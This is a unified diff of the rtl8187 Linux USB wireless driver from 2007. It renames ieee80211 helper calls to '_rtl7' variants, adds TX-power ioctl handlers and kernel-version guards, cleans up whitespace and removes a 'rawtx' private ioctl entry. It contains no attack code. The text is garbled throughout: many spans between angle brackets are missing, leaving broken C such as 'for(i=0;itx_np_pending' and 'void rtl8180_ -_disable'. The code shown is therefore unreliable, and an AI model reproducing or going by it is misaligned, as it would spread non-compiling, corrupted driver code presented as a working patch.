ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +388,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +419,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +427,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +447,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +497,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +535,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +553,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +583,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +621,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,32 +673,28 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { + { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + { SIOCIWFIRSTPRIV + 0x1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - - }, - { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + } }; @@ -660,13 +706,12 @@ // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +724,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-06-08 23:30:33.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // 